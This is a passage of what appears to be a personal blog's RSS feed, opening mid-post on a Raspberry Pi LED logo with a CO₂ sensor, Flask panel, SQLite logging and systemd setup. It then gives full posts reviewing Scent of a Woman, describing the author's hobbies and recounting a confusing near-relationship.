    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    Movie review: Scent of a Womanhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/Mon, 13 Oct 2025 08:52:10 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/My reaction to the movie as a not so pro movie watcherI’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    +

    Few points before I begin.

    +
      +
    • This was aside from the therapy session.
    • +
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • +
    • I watched this movie in about two parts in a single day!
    • +
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • +
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
    • +
    +

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    +

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    +

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    +

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    +

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    +

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    +

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    +

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    +

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    +

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    +

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    +

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    +

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    +

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    +

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    +

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    +

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    +

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    +

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    +]]>
    Hobbieshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/Fri, 10 Oct 2025 07:04:54 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/My point of view on hobbiesWhen I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    +

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    +

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    +

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    +

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    +

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    +

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    +

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    +

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    +

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    +

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    +

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    +

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    +

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    +

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    +

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    +

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    +

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    +

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    +

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    +

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    +]]>
    Relationshipshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/Sun, 05 Oct 2025 08:03:31 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/My experience so far with relationships +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    +

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    +

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    +

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    +We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    +

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    +

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    +

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    +

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    +

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    +

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    +

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    +

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    +

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    +

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    +

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    +

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    +
    +

